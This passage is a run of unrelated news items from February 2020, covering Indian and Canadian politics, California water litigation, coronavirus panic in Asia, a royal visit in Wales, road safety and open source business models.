the first time after he took over as the CM and parted ways with ally Bharatiya Janata Party that Thackeray will visit Delhi and meet the PM independently. He had met Modi in Pune in December briefly when the latter had come to inaugurate a national conference. With the state exchequer burdened by loan waiver and compensation to farmers, the MVA government needs to maintain good relations with the Centre. Politically, this seems unlikely as Thackeray set up the government by ditching his long-term ally, the BJP. The CM had urged all party MPs from Maharashtra to pursue state-related issues with the Centre for funds. SHARE THIS ARTICLE ON Former Maharashtra chief minister and senior BJP leader Devendra Fadnavis on Friday condemned AIMIM leader Waris Pathan's reported remarks that 15 crore Muslims are more than a match for the country's 100 crore Hindus, and asked the latter not to mistake the majority community's tolerance for weakness. Pathan has been widely condemned for reportedly stating that "15 crore hain lekin 100 crore pe bhari hain". He purportedly made these comments while addressing an anti-Citizenship Amendment Act rally in Kalaburagi in north Karnataka on February 16. The AIMIM leader has claimed he was quoted out of context. Speaking to reporters in Nagpur, Fadnavis demanded an apology from Pathan and asked the Uddhav Thackeray government to take action. "We condemn the statement made by Waris Pathan and demand an apology. In case he does not apologise, the state government must take action against him," he said. Fadnavis said Pathan should understand that minorities were safe and enjoyed full freedom in India because 100 crore Hindus live in the country. He said no one would dare utter such a statement in a Muslim-majority nation,, adding that the "Hindu community is tolerant but its tolerance should not be mistaken for weakness". "Pathan should apologise to the nation and the Hindu community," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) For the first time in over two decades, 200,000 Ontario teachers and school support staff are united in a province-wide walkout. Todays one-day strike is part of a global upsurge of the working class against capitalist austerity, social inequality and imperialist war. Teachers have been in the forefront of this growing counter-offensive. Since 2018, a wave of teachers strikes has swept five continents, from the United States to Argentina and India. This is because everywhere capitalist elites are determined to gut public education, as part of their drive to dismantle all public services and eviscerate the social rights of the working class so as to swell investor profit. The establishment partiesmost notably the Liberals, Conservatives, and NDPare working in tandem to impose this class war agenda. Behind a smokescreen of phony progressive rhetoric, the union- and NDP-supported minority Trudeau Liberal government is diverting tens of billions of dollars from health care to fund new fleets of warships and warplanes. Moreover, it is integrating Canada ever more fully into Washingtons wars, regime-change operations and its strategic competition with nuclear-armed Russia and China, all with the aim of advancing Canadian imperialisms predatory commercial and strategic interests. Meanwhile, a cabal of avowedly hard-right provincial governments in Ontario, Quebec and Alberta are spearheading a new austerity wave, targeting public services and the wages and jobs of the workers who administer them. The Trump wannabe Ontario Premier Doug Ford is savaging public education. This attack includes: close to $1 billion per annum in education spending cuts, class size increases, the imposition of mandatory e-learning classes and the elimination of 10,000 teaching jobs. Quebecs CAQ government has just pushed through legislation (Bill 40) abolishing school boards so as to centralize power in the provinces Education Ministry to force through spending cuts and attack seniority rights. Teachers must recognize that their struggle is at heart a political struggle and this for two reasons. First, the struggle to defend public education is a struggle over how societys resources are to be distributed. The claim that there is no money for essential public services is a lie. But to mobilize the necessary resources requires a systematic assault on the wealth of the capitalist elite and the reorganization of socioeconomic life in order to make fulfilling social needs, not private profit, the animating principle. Second, big business is enforcing its class war agenda through its hirelings in government, and its courts and police. Behind the sham contract negotiations, Ford and Education Minister Stephen Lecce are readying legislation to criminalize all teacher job-action. Already last November, the Conservatives rammed through Bill 124, which imposes real-dollar wage and benefit cuts on more than one million public sector workers each year for the next three years. The unions claim that a head-on clash between teachers and the Ford government can be avoided by rotating walkouts is a lie. To prevail, teachers and their supporters must systematically broaden the struggle and mobilize the immense working-class opposition to Ford and the entire austerity agenda of the capitalist elite. An unlimited province-wide teachers strike must become the catalyst for a political general strike to bring down the hated Ford government, and for the independent political mobilization of the working class across Canada in the fight for workers power. This struggle must not be entrusted to the teachers unions, the Ontario Federation of Labour (OFL), Unifor and their NDP allies. On the contrary, it will be mounted only if teachers, school support staff and other workers take the struggle into their own hands through the formation of action committees independent of, and in political opposition to, the pro-capitalist union apparatuses. The teachers unions have done everything to divide and demobilize teachers, with each pursuing its own bargaining and mobilization strategy. The contracts of teachers and support-staff workers expired almost six months ago, and last fall they voted massively for strike action. Yet today is the very first day that the unions have called any joint job action. Like the OFL, they have issued no appeal for a common struggle to the hospital workers, college instructors, civil servants or any of the hundreds of thousands of other public sector workers targeted by Bill 124. Most telling of all, the teachers unions have maintained radio silence on the governments preparations to criminalize the teachers and support-staff workers struggle. Make no mistake, this is because they intend to invoke the governments adoption of a back-to-work law as the pretext for shutting down the teachers struggle, just as unions across Canada have done for decades. The upper-middle class layers who lead the unions and NDP are utterly opposed to the working class bringing down the Ford government, for it would undermine Canadian big business global competitive position, destabilize capitalist rule and thereby threaten their own privileges. Their opposition is epitomized by the clock atop the front-page of the OFL website that counts down the days, hours and minutes to the election of a progressive government in 2022. By progressive government they mean a pro-big business Liberal or NDP-led government, akin to the current federal Liberal government, or those that the unions supported for 15 years in Ontario under Dalton McGuinty and Kathleen Wynne, which imposed austerity, including pay cuts for teachers, while slashing corporate taxes. One of the essential characteristics of the global working-class counter-offensivefrom the Yellow Vest movement in France and the wildcat strikes of the Matamoros autoworkers in Mexico to the US teacher strikesis that it has developed outside and increasingly in conscious opposition to the corporatist unions and establishment left parties. The other is its international character. Increasingly workers are recognizing that they constitute an international class involved in a global struggle against the transnational corporations that site production wherever returns are biggest, and against the imperialist powers, like Canada, that through aggression, intrigue and war secure markets, resources and positions of strategic advantage for big business. These developments must become foundational to the strategy of the working class. Teachers and other workers need new organizations of struggle. Action committees, entirely independent of the unions, must be built to systematically mobilize the working class against the wide array of anti-working class measures introduced by Ford, prepare a general strike and defiance of any anti-strike law, and reach out to workers across Canada, in the US, Mexico and beyond. Most importantly of all, the working class must constitute itself into an independent political force so it can impose its own solution to the crisis of global capitalism. This means building a revolutionary workers party to prosecute the struggle for a workers government and international socialism. We urge teachers, students and other working people seeking to find a way to fight austerity, defend public education and other democratic rights, and oppose war to read the World Socialist Web Site and contact and join the Socialist Equality Party. A day after President Trump visited the Central Valley to celebrate a boost in water for California farms, state officials sued to block the additional water deliveries. Attorney General Xavier Becerra, in a lawsuit filed Thursday, maintains that new federal rules designed to increase pumping from the Sacramento-San Joaquin River Delta fail to protect salmon and other endangered fish in the delta estuary. The lawsuit claims the Trump administration didnt seriously consider the science and abused its power when it weakened protections under the Endangered Species Act to increase agricultural water exports. As we face the unprecedented threat of a climate emergency, now is the time to strengthen our planets biodiversity, not destroy it, Becerra said in a statement. The suit is the latest move in a long-running showdown over how to divvy up the precious flows of the delta, the hub of the states water supply and perpetually short on water. The big farms of the San Joaquin Valley have long complained that irrigation deliveries from the delta have been needlessly stifled by regulation. Environmental and fishing groups have countered that too much water is going to agriculture, allowing the deltas wetlands and wildlife to be sucked dry. Salmon and smelt have suffered from low flows and remain on the verge of extinction. Trump has sided firmly with farmers, pledging to increase water deliveries to farms, while California Gov. Gavin Newsom has tried to seek a middle road between the warring interests. Many in the conservation community have charged that the state has done too little for watershed protection. Thursdays lawsuit is a nod to environmental groups. The filing in the U.S. District Court for Northern California asks that the federal governments new rules under the Endangered Species Act, known as biological opinions, be declared unlawful. While state water officials criticized the new biological opinions, they said they were still hoping to work with federal officials on a long-term plan for fairly allocating Californias water. Earlier this month, the governor and his Cabinet released a framework for a deal between competing parties, known as the voluntary agreements. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. We remain focused on resolving differences and achieving enforceable voluntary agreements to immediately begin improving conditions for imperiled fish while maintaining reliable water supplies for communities, farms and businesses, Natural Resources Secretary Wade Crowfoot said in a statement. U.S Interior Secretary David Bernhardt, who defended the federal governments biological opinions and denied the claims of Californias lawsuit, said legal action by the state was unproductive. The governor and attorney general just launched a ship into a sea of unpredictable administrative and legal challenges regarding the most complex water operations in the country, something they have not chartered before, he said in a statement. Litigation can lead to unpredictable twists and turns that can create significant challenges for the people of California. On Wednesday, Trump spoke to several hundred farmers in Bakersfield, where he ceremoniously signed the new biological opinions that had been made official earlier in the week. Kurtis Alexander is a San Francisco Chronicle staff writer. Email: kalexander@sfchronicle.com Twitter: @kurtisalexander The Mark Twain Library is gathering input to craft its long-term strategic plan. The online survey should only take 10 minutes to complete. It looks at the librarys offerings, programs and events. This is a survey to determine your wants and needs and is not a solicitation for funds, the library said in its posting. It is also different than the towns survey that was recently completed regarding Reddings planning and conservation. One person is encouraged to complete the survey for their household. The Mark Twain Library was founded to serve the needs of the community and remains committed to the residents of Redding, the library states. We appreciate your help so that we may address your needs. Read more about the survey on ctinsider.com. Bay City's Riverfront continues to attract new business investment. The latest company to announce plans to set up shop there is Wilkinson Minerals, a Mayville-based company that specializes in the production and sale of calcium chloride solution, a process that extracts brine to make salt. The company, said Bay City officials, has purchased property at 101 Picard Street in Bay City, which is located east of the Independence Bridge along the Saginaw River, where it plans to construct a new facility. The estimated $50 million investment is expected to create about 50 permanent jobs that pay living wages, officials said. Up to 70 workers will be hired as well during the facility's construction phase. TOP STORIES: A public transport worker in Moscow has told RFE/RL that all drivers of buses, trams, and trolley buses in the Russian capital have been instructed to stop their vehicles and make all passengers disembark if they suspect any of their passengers are from China. Russia's state TV Channel One has broadcast conspiracy theories blaming U.S. President Donald Trump, the Miss Universe pageant, and "international corporations" for the coronavirus. The report ran on the main evening news show on February 5, watched by millions. In a February 13 indictment, the U.S. Justice Department has accused Huawei Technologies of helping Iran track protesters. Huawei was also charged with conspiring to steal trade secrets from six U.S. technology companies and to violate a racketeering law typically used in the fight against organized crime. Thousands of ethnic Dungans have fled ethnic violence in Kazakhstan. They originally came to Central Asia after an unsuccessful revolt against Chinese rule in the 19th century, and maintain a unique language and culture. An interview by Latvias public broadcaster with an ethnic Uyghur woman who was held in a re-education camp in Chinas Xinjiang province, and other interview by RFE/RLs Kazakh Service with a former ethnic Kazakh inmate, are combined here to provide a corrective for Russian-language audiences to the portrayal by official Chinese media of Beijings treatment of its Muslims. (Current Time TV) CHINA AND RUSSIA: Russia has announced, effective February 20, "The entry of all Chinese citizens via Russia's state frontiers will be suspended...for work travel, private travel, study, and tourism. The ban does not apply to transit passengers. After residents of a Chuvash village voted a year ago to prevent a Chinese dairy farm from setting up on their land, the investor chose a different location in the small ethnic republic in Russias Volga region. Public hearings turned angry as it became known that authorities had illegally changed the status of the land so it could be rented out to a foreign company. Despite the regions high unemployment and low wages -- about $200 per month-- the locals have expressed no interest in the new jobs the project has promised to create. (In English and Russian, Idel.Realities) CHINA AND CENTRAL ASIA: Kazakh authorities say they have launched about 90 investigations into the ethnic clashes in the southern region of Zhambyl that claimed 11 lives on February 7-8. The Interior Ministry also confirmed the arrest of three brothers from an ethnic Dungan family, who were charged with assaulting police after an altercation with a group of Kazakhs following a road-rage incident. Interethnic violence has broken out again in southeastern Kazakhstan, this time involving ethnic Kazakhs and members of Kazakhstan's Dungan community. There are various accounts of what sparked the violence between the two groups on February 7 near the town of Kordai in Zhambyl Province. Kyrgyz authorities say they have canceled a Chinese investment project in the eastern part of Kyrgyzstan. The decision follows several mass protests against the plans to construct a $275 million logistics center in the area. Russian Deputy Defense Minister Nikolai Pankov announced on February 11 that a modern air-defense system would be sent to the Russian military base in northern Kyrgyzstan. Although some have questioned the motives for the move, it is a logical step in an effort to create a unified air-defense system for the Commonwealth of Independent States. Turkmenistan and Uzbekistan have improved their air-defense systems by purchasing China's HQ-9 surface-to-air missiles. CHINA AND THE BALKANS: Chinese contract workers who are building a highway in Montenegro have not returned to the country since the outbreak of the coronavirus during the Chinese New Year. The Chinese laborers account for approximately 400 of the projects 1000 workers. (Balkan Service) ELSEWHERE: China on February 19 said it was effectively expelling three Beijing-based journalists for the Wall Street Journal, a day after Washington designated five Chinese state-run media organizations as representatives of a foreign government. Regarding the designations, exiled Chinese dissident Zhou Fengsuo said they are one step in the right direction," but pointed out that Tik Tok, which is owned by Chinese social media giant Tencent, has far more influence beyond China's borders. (Radio Free Asia) A newly leaked database appears to provide insight into how Chinese authorities have determined the fate of hundreds of thousands of Muslims held in internment camps. Adrian Zenz, a senior fellow at the Victims of Communism Memorial Foundation in Washington, said "this remarkable document presents the strongest evidence" he had seen that Beijing "is actively persecuting and punishing normal practices of traditional religious beliefs." Latvia attracts the most Chinese investment of any Baltic member of the European Union, but that does not always mean that Chinese migrants find it easy to settle there. Many left following a 2014 clampdown on visas, and even for those who have integrated, doing business is still a challenge. A beaming Prince of Wales appeared in high spirits as he arrived at a royal visit in his vintage Aston Martin DB36 today in South Wales. Prince Charles, 71, looked overjoyed as he arrived at the new Aston Martin Lagonda factory in St Athan today. It comes amid a busy day of engagements for the royal, who also visited the CAF train factory, a Marie Curie hospice and paid a visit to the British Airways Maintenance Centre during a whirlwind afternoon. Later, the royal will meet with local residents and businesses impacted by recent flooding in the town of Pontypridd, and meet those involved in the rescue and support effort. Prince Charles, 71, arrived in style for a royal visit today as he drove his vintage Aston Martin DB36 to visit a new Aston Martin Lagonda factory in St Athan Earlier today, the royal had taken to the driving seat of a partly constructed train at the CAF factory in Newport Prince Charles appeared in high spirits as he made a visit to CAF train factory in Newport in order to open the facility earlier today The royal donned a smart grey suit for his busy day, adding a pop of colour with a playful pink tie covered in a pattern of white elephants and cheetahs. Earlier this morning, he appeared in high spirits as he arrived at the CAF factory, which is owned by the leading Spanish train maker. The royal could be seen laughing and joking with staff during a tour of the factory as they spoke through the manufacturing process, and even climbed aboard a carriage. The factory builds and test trains including diesel, electric, high-speed and trams. Prince Charles met with local residents in the town of Pontypridd who had been impacted by recent flooding The royal could be seen shaking hands with local people and appeared in high spirits despite the grey weather Prince Charles shared a joke as he met with local ambulance crews during his visit to the town earlier today The royal met with flood victims who had been severely impacted by Storm Dennis at the event in Pontypridd The royal could be seen shaking hands with local people and offering support to emergency service workers as he visited the town He met with local residents and emergency service workers at a local cafe in the town of Pontypridd Prince Charles met with some of the 220 employees, while they talked the royal through the production process. The royal could be seen laughing and joking with employees as they spoke about the manufacturing process within the factory. Later, he climbed aboard a partially completed train and studied various parts during the royal visit. The royal, who officially opened the factory during his visit today, also attended a reception for staff and local dignitaries in order to celebrate. Prince Charles visited the British Airways Maintenance Centre during his busy day of royal engagements in South Wales As part of his visit to the British Airways centre, he was welcomed aboard one of the brand's fleet by BA Customer Effectiveness Executive, Julia Montague Julia offered the royal and British Airways CEO Alex Cruz a tour of the plane while they celebrated the 100th anniversary of the company Prince Charles spoke with staff during a visit to the Marie Curie hospice in Cardiff and the Vale in Wales today The royal could be seen sharing a smile with patient 97-year-old Maureen Russell, and affectionately held her hand during the discussion At another stage, the royal appeared to listen intently while speaking with Maureen from her bed in the Marie Curie hospice Prince Charles could be seen delicately holding Maureen's hand throughout their conversation today During the visit, the Prince of Wales unveiled a plaque alongside CAF's chief executive Andres Arizkorreta. The state-of-the-art manufacturing facility which was completed in 2017, after CAF ploughed 32million into the plant at the Celtic Business Park in Newport, a former steelworks that is not far from the steel hub of Port Talbot. He arrived at the Aston Martin factory in his vintage car, and could be seen beaming as he disembarked the vehicle. Prince Charles was given a tour of the new facility during his visit to St Athan today and given the chance to test drive the new Aston Martin DBX during his visit. The royal appeared in high spirits during his visit to the hospice earlier today, when he met with staff and community fundraisers Prince Charles seemed particularly tickled by the gift from the community fundraisers, Hannah Leckie and Hilary James The royal was left chuckling when he received a Marie Curie yellow hat from two cheerful community fundraisers, Hannah Leckie and Hilary James He later gave a speech at a reception at the event, before unveiling a special plaque for the new facility. The royal was also given the honour of placing the Aston Martin logo on the new DBX during his visit to the factory. He went on to visit the British Airways Maintenance Centre in Cardiff, where staff gave him a tour a Boeing 787-9 Dreamliner plane, which is one of the more fuel-efficient aircraft being added to the carrier's fleet. The prince saw how single-use plastics on board the plane are being replaced by alternatives. The royal was given the honour of placing the Aston Martin logo on the new DBX during his visit to the factory The royal could be seen delicately placing the logo on the company's new DBX car, after test driving the car The royal received assistance while placing the logo on the brand new car at the new factory today Prince Charles gave a speech at a reception at the event, before unveiling a special plaque for the new He also learned how the airline are adapting to be more environmentally friendly, such as replacing each first-class duvet with one created from recycled plastic bottles. BA apprentices showed Charles the inside of one of the Dreamliner's engines, and explained that work has started on a project to convert household waste to sustainable jet fuel. As the event came to a close, HRH unveiled a plaque created from recycled aircraft parts to mark the visit. The prince opened the engineering base in 1993, and the facility currently employs 550 local people. As well as the vintage vehicle, Prince Charles tested out the new Aston Martin DBX during his visit The royal could be seen sharing a smile with staff at the factory after test driving the brand's new SUV Behind the wheel! Prince Charles took to the driving seat while at the facility as he testdrove the new Aston Martin SUV The royal appeared overjoyed as he drove the brand's first SUV as part of his royal visit today in St Athan Prince Charles appeared enthralled as he spoke with Marek Reichman, Executive Vice President and Chief Creative Officer of Aston Martin The men spoke as Prince Charles prepared to test drive the new Aston Martin SUV at the new facility in South Wales Prince Charles appeared excited as he chatted with staff at the Aston Martin factory before test driving the company's first SUV BA chairman and chief executive Alex Cruz, who led the tour, said: 'It has been an honour to showcase our work in this area to His Royal Highness today. 'Every decision we make at British Airways now starts with a simple question: what does that mean for our sustainability aspiration? 'We're now offsetting carbon emissions on all our flights within the UK, and were the first airline group to commit to achieving net-zero carbon emissions by 2050. 'We've got a lot of work to do, but keeping an eye on the detail as well as the bigger picture is the only way to get there.' In the driving seat! Prince Charles arrived in style at the royal visit as he rode in his vintage vehicle to the factory The Prince of Wales drove himself between royal visits today in his vintage Aston Martin car (pictured) The royal's Aston Martin bore many of the original features, including the mascot of the Aston Martin DB6 The royal appeared delighted and could be seen beaming as he arrived at the factory in St Athan earlier on today The airline's director of communications and corporate responsibility, Louise Evans, said: 'From new, quieter and more fuel-efficient aircraft to sustainable swizzle sticks that eliminate the use of single- use plastic, we're carrying out a huge transformation of the way we fly. 'His Royal Highness opened this engineering base 26 years ago, and we were delighted to welcome him back so he can see for himself the steps we are taking to a sustainable future.' The royal also visited a local Marie Curie hospice in the area, and was seen speaking with patient Maureen Russel, 97. He affectionately held Maureen's hand while the two chatted, before Charles could be seen sharing a laugh with the patient. The royal was helped by a member of his entourage as he prepared to leave the facility this morning The Prince of Wales unveiled a plaque and gave a speech during the reception at the factory earlier today He was joined by the chief executive of the company, Andres Arizkorreta, on stage as he unveiled the plaque The royal appeared in high spirits as he spoke during a reception at the CAF train factory in Newport earlier today The royal was applauded as he took to the stage to unveil a plaque and officially open the facility in South Wales Prince Charles appeared in high spirits during the visit today, which kickstarts a busy day for the royal Prince Charles appeared delighted as he took to the drivers seat of a train currently undergoing construction at the facility In the driving seat! The royal appeared to enjoy a tour of the facility, which involved him testing out the carriage of one of the trains The royal could be seen smiling as he studied the parts of the manufacturing process during the visit today Staff talked Prince Charles through the production process during his visit to the factory, with the royal climbing aboard a train currently under construction He could be seen sharing a laugh with staff at the factory as he was offered a tour of the facility earlier today The royal could be seen beaming and sharing jokes with employees whom he met at the factory today It comes amid a busy week for Prince Charles, who yesterday presented the Queen's Anniversary Prizes at Buckingham Palace. Earlier on this week, the royal donned a hard hat and high-viz jacket to meet some of the skilled costume and prop-makers from the Royal Shakespeare Company (RSC) during a visit to Warwickshire. And last week, he hosted The Prince's Trust Invest in Futures Gala at Kensington Palace. He appeared in excellent spirits as he welcomed stars including Claudia Winkleman and Rob Brydon to the gala, which is the largest fundraising event of The Prince's Trust, generating vital funds to support thousands of young people into jobs, education or training. The royal donned a simple grey suit with a playful pink tie for the royal visit to the factory in South Wales today Prince Charles could be seen chatting with staff as they talked through the production process at the facility The royal appeared in high spirits as he shared a joke with one factory worker during the visit earlier today Stockholm, Sweden (CNN Philippines, February 19) A World Health Organization official and road safety advocates appealed to governments to address road crash fatalities as urgently as they have been responding to coronavirus. Road crashes are now the top killer of children and young people, according to the World Health Organization (WHO). The agency estimates about 1.3 million people die in road crashes around the world each year. The response to the current corona virus outbreak shows that with the right political will, strong measures can be put in place quickly. These numbers call for strong levels of political action as well," said Dr. Etienne Krug, WHO director for Social Determinant of Health. At least 80 transportation ministers and close to 2,000 advocates attended the program Wednesday, which also marked the conclusion of the UN Decade of Action for Road Safety. Children and young people are dying everyday because of road crashes but where is the same urgency to road crashes? said youth activist Omnia El Omrani in front of King Carl XVI Gustaf of Sweden, and hundreds of government officials and civil society leaders who attended the opening of the third Global Ministerial Conference on Road Safety. His Majesty King Carl XVI Gustaf of Sweden leads the opening ceremonies at the Stockholm Waterfront Congress Center. The countrys Department of Transportation (DOTr) has no representative during the event. CNN Philippines has learned that DOTr cancelled the participation of Assistant Secretary Manuel Gonzales due to travel concerns related to the coronavirus. The Philippine consulate in Sweden was instead requested to represent the agency. Stockholm Declaration During the event, Swedens Minister for Infrastructure Tomas Eneroth unveiled the Stockholm Declaration, which outlines the global road safety goals for this decade. The declaration went through an extensive consultation with member states, and a transparent and inclusive public consultations open to everybody around the world, said Eneroth. He also urged the UN General Assembly to adopt the declaration which primarily aims to reduce road traffic deaths worldwide by at least 50 percent by 2030. In a video message, WHO Director-General Tedros Adhanom urged governments to implement proven road safety actions and shift to sustainable mobility systems that truly benefit the people. With the right leadership, transport systems could be reconfigured to reduce road traffic deaths, Adhamon said. The past decades road safety action also targeted to reduce road crash fatalities by 50 percent, from 1.9 million to 800,000 by this year. While the world failed to meet its target, WHO remains optimistic. We are making significant progress, said Krug. The third Global Ministerial Conference is co-organzed by the World Health Organization, and a follow up to previous high-level conferences in Russia (2009) and Brazil (2015). Makoi Popioco is a former CNN Philippines correspondent. He is a fellow of the ICFJ-WHO Safety Program and Bloomberg Philanthropies. TOKYO - You might have heard that the fear of a new virus from China is spreading faster than the actual virus. From earnest officials trying to calm a building panic. From your spouse. From the know-it-all who rattles off the many much more likely ways youre going to die: smoking, car accidents, the flu. None of it seems to matter. As the number of casesrises more than 76,000 and counting fear is advancing like a tsunami. And not just in the areas surrounding the Chinese city of Wuhan, the site of the vast majority of coronavirus infections. Subway cars in Tokyo and Seoul look more like hospital wards, with armies of masked commuters shooting dirty looks at the slightest cough or sneeze. A restaurant owner in a South Korean Chinatown says visitors have dropped by 90%. Youve probably got a better chance of winning the lottery than buying face masks in parts of Asia. Conferences and events have been disrupted from Beijing to Barcelona to Boston. Quarrels in Japan; riots in Ukraine. Rumours that toilet paper and napkins could be used as masks emptied East Asian store shelves of paper goods. Fear is a very strong emotion, and the prevailing fear over the new coronavirus drives people to do things irrationally without thinking straight, said Bernie Huang, 31, a high school teacher in Taipei, Taiwan, who resisted the citys now-easing toilet paper buying spree. If you take the long view, panic has marched in lockstep with pandemic for as long as history has been recorded. The plague that devastated Athens in the fifth century BC. The Black Death that eradicated much of Europe in the 14th century. And, more recently, AIDS, Ebola, SARS, MERS, swine and bird flu. Scientists, statisticians and people well away from the line of fire may scoff, but the fear, which is spread by word of mouth and, more rapidly, through online posts, is real. Fear can do more harm than the virus, Singapore Prime Minister Lee Hsien Loong said in response to panic buying of toilet paper, canned food and instant noodles after the government raised a risk alert over the new virus. Its perhaps most keenly felt in the places where crowds gather: churches, shopping areas, schools. In the Philippines, nearly half of the pews were empty for recent Sunday Masses in many churches. At a Protestant church in northern Seoul, officials switched entirely to online worship after it was found that a virus patient had attended services days before he tested positive. The huge Lotte Department Store in Seoul closed for several days for disinfection after it was found that a Chinese tourist with the virus visited. It reportedly lost about 20 billion won ($16.9 million) in revenue, based on figures by financial analysts. A mobile trade fair in Barcelona was cancelled. PlayStation maker Sony pulled out of a video game conference in Boston over increasing concerns related to the virus. Organizers said the event will go on next week but with enhanced cleaning. At Namdaemun, Seouls largest traditional market, businesses saw huge drops in sales after an infected person was found to have visited the area last month. Merchants say their businesses are now dying, said Chun Yong-bum, head of an association of thousands of merchants at Namdaemun. The South Korean Education Ministry recently issued an advisory to universities to postpone the March start of the upcoming semester because of worries that thousands of Chinese students will return to schools from abroad. South Korean President Moon Jae-in expressed worries that excessively bloated fear was hurting South Koreas economy by suppressing public consumption and leisure activities. The most eagerly-awaited gathering in Asia the upcoming Summer Olympics in Tokyo has been beset by fear, too. Although he later backtracked, Tokyo Olympic CEO Toshiro Muto said recently that he was seriously worried the virus could disrupt the Olympics and Paralympics. One thing I am noticing at the moment is fear is spreading quicker than the virus, and it is important that we quell that fear, said Craig Spence, the spokesman for the International Paralympic Committee. In Japan, fear and the virus have intersected most visibly on a huge cruise ship in the port of Yokohama, where thousands of passengers and crew were quarantined for two weeks as hundreds of people on board tested positive for the virus. One quarantined passenger hung a banner that read: No information ... Stressed. Many bad rumours. The internet foments many of those rumours. In Malaysia, a social media rumour that mandarin oranges carry the virus caused some initial panic until health officials debunked it. When news broke that a journalist who reports on Japans leader had contact with an infected driver and was in self-quarantine, a web edition of the Weekly Post tabloid magazine declared: Coronavirus has sent shockwaves to the prime ministers office. Fear, and possibly a dark sense of humour, may also help explain some odd behaviour: images of people using orange peels as face masks; children in strollers wrapped in what looks like dry cleaning plastic. In Taiwan, people began stocking up on toilet paper and napkins after a rumour on the internet said they could be used as masks to stop the spread of viruses, said Yang Bo-ken, deputy director of the governments Industrial Development Bureau. Taiwans Criminal Investigation Bureau recommended the prosecution of three women on allegations they used the popular LINE social media service to suggest using table napkins, sanitary napkins and toilet paper as a mask substitute, a bureau spokesperson said. The fear has also led to lawlessness. In Kobe, Japan, 6,000 surgical masks were reported stolen from a hospital. Several hundred residents fearing infection in Ukraine clashed for hours with police as they blocked a road to a building where more than 70 people evacuated from China because of the virus were to be quarantined. Two passengers on a subway in Fukuoka, Japan, quarreled after a man not wearing a mask started coughing, prompting the man next to him to press an emergency alarm, Kyodo News reported. Fear is spreading among passengers. We plan to promote cough etiquette, such as wearing facial masks, a city transport official told the news agency. In Hong Kong, where people queued up for essential goods outside shops, three people with knives allegedly robbed a deliveryman outside a supermarket of precious toilet rolls reportedly worth more than 1,000 Hong Kong dollars ($128). Governments have not always known how to handle the situation. Eight Samoan citizens were refused entry at the nations airport and sent back to Fiji reportedly because theyd transited through Singapore, which the government labels a high risk country, according to the Samoa Observer. And when a Canadian teen collapsed at a building in Kuala Lumpur, Malaysia, a medical team in hazmat suits arrived. The health ministry later said it was a precautionary measure and the teen was virus free. ___ AP journalists Kim Tong-hyung, Jung-yoon Kim and Hyung-jin Kim in Seoul, South Korea; Mari Yamaguchi in Tokyo; Ralph Jennings in Taipei, Taiwan; and Eileen Ng in Kuala Lumpur, Malaysia; contributed to this story. ___ Foster Klug is APs News Director for the Koreas, Japan, Australia and the South Pacific. He has covered Asia since 2005. Follow at www.twitter.com/APKlug There has been a lot of talk about open source sustainability over the past few years, and for good reason. Open source now powers much of the worlds most critical new technologies, from programming languages and application platforms to machine learning and data infrastructure. As such, we need more, not less, open source innovation. However, the most innovative and sustainable open source rarely depends exclusively upon a single individual or company. Dont believe me? Look at some of the most foundational open source projects of the past few decades. Linux? Scads of companies contribute. Or consider PostgreSQL, which has boomed in popularity over the past decadeits a true community effort, with contributors from a wide array of companies. Or how about the more recent Kubernetes? Though Google founded the project, many more companies contribute to it today. This is how open source was always meant to workopen source founded on an abundance mindset, rather than one of scarcity. Learning from Linux Way back in 2007 I was writing about this idea of abundance-driven business models. Speaking of Red Hat, I wrote, The bits are free or abundant, but the service around them is not. Red Hat therefore wins the more that it and others give software away for free, because this leads to a greater need for its role as a gatekeeper on quality and stability. Red Hats model was (and is) to offer a certified distribution of that open source software that was freely available, but somewhat unwieldy without Red Hats efforts to harden and test the code in a certain configuration (along with all of the software and hardware certifications that go with it). Importantly, Red Hats model doesnt really work if Red Hat were to magically own all of Linux development. Red Hats model depends on open source abundance. As of the Linux Foundations 2017 report on contributions to the Linux kernel, Red Hat accounted for just 7.2% of all Linux development (for the later Linux 5.5 kernel, the number is 6.6%). In Red Hats last full fiscal year before being acquired by IBM, that 6.6% contribution translated into $3.4 billion in revenue. Not bad. But its also not exclusive. IBM, HPE, and a range of other enterprise vendors derive their own billions from selling hardware, services, or software around Linux, as do cloud vendors like Microsoft, Alibaba, AWS, and Google. At the same time, many other companies build on Linux and generate their own billions in customer value. Critically, those billions would likely evaporate if a single company owned Linux. That company would capture all the value, and that value would be substantially less. The era of a single company owning an operating system and exclusively profiting therefrom is over. This is in part because weve discovered, for example, that its better and more profitable for all to have a Linux community that creates a large and growing pie shared by many, rather than a comparatively small, zero-sum pie consumed by one. Its a lesson were learning again from Kubernetes. Which brings us to single-vendor open source projects. The MySQL example MySQL is a popular database but it has always been something of a closed community. Initially the vast majority of contributions came from MySQL AB, and this seemed OK to many because MySQL was deemed to have good intentions. In 2008, however, Sun Microsystems acquired MySQL for $1 billion. Those with MySQL stock (VCs and executives, primarily) rejoiced, but worries started to gnaw at the MySQL community. Still, Sun was earnestly trying to be a good open source citizen, so the community mostly breathed easily. Until Oracle acquired Sun in 2009, that is, and then the community began to get nervous. The best way to measure that nervousness wasnt with ranting tweets (there were many) or angsty blogs (also many). No, the best evidence for just how much MySQL lost by persisting as a single-vendor project was the rise of open source alternatives like PostgreSQL and MariaDB (a successful fork of MySQL). Customers tend to be slow to change databases, but enterprises like ServiceNow and Google began migrating thousands of MySQL servers to MariaDB, due to worries about Oracles stewardship of MySQL. Other companies accelerated their migrations to PostgreSQL, or other options. Yes, MySQL remains very popular, but open source alternatives are thriving in the shadow of Oracles stewardship. Who can blame developers for looking at alternatives? Despite owning MySQL Oracle founder Larry Ellison has repeatedly trashed it. As Ellison told analysts in 2018, [Y]ouve got to be willing to give up tons of reliability, tons of security, tons of performance to [use MySQL instead of Oracle because].... We have a huge technology advantage. When a single vendor controls a project, the community is always one bad fiscal year or one bad acquisition away from potentially problematic project changes. Abundance, not scarcity Again, think of Red Hat and Linux. Red Hat could own Linux and it would be left to hoard a relatively small pie. But because Linux is a truly open community, with contributions coming from a wide array of companies and individual developers, it has outpaced Windows, Unix, and every other server operating system for decades. This has benefited Red Hat while also benefiting many others. Indeed, when open source communities are large, and adoption for a particular project grows, it creates massive opportunity for all. This is the promise of open source: abundance, not scarcity. Its also the key to generating customer value, and the revenue that derives from it. On Wednesday, February 26, at 13.00, the press center of the Interfax-Ukraine news agency will host a press conference 